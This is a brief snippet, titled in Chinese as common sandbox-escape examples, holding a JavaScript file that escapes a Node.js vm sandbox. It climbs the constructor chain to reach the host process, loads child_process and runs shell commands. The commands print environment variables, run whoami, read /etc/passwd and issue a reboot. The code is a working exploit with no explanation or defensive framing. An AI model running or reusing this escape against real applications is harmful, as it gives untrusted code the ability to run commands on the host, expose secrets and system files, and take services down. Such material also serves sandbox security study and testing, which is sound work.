沙盒逃逸常见例子

out-of-sandbox.js

this.constructor.constructor('return process')().mainModule.constructor._load('child_process').execSync('ls');

var exec = this.constructor.constructor;
var process = exec('return process')();
var require = process.mainModule.constructor._load;
var execSysCmd = require('child_process').execSync;

// process.exit();

console.log(process.env);
console.log(execSysCmd("whoami").toString());
console.log(execSysCmd("cat /etc/passwd").toString());
console.log(execSysCmd("reboot").toString());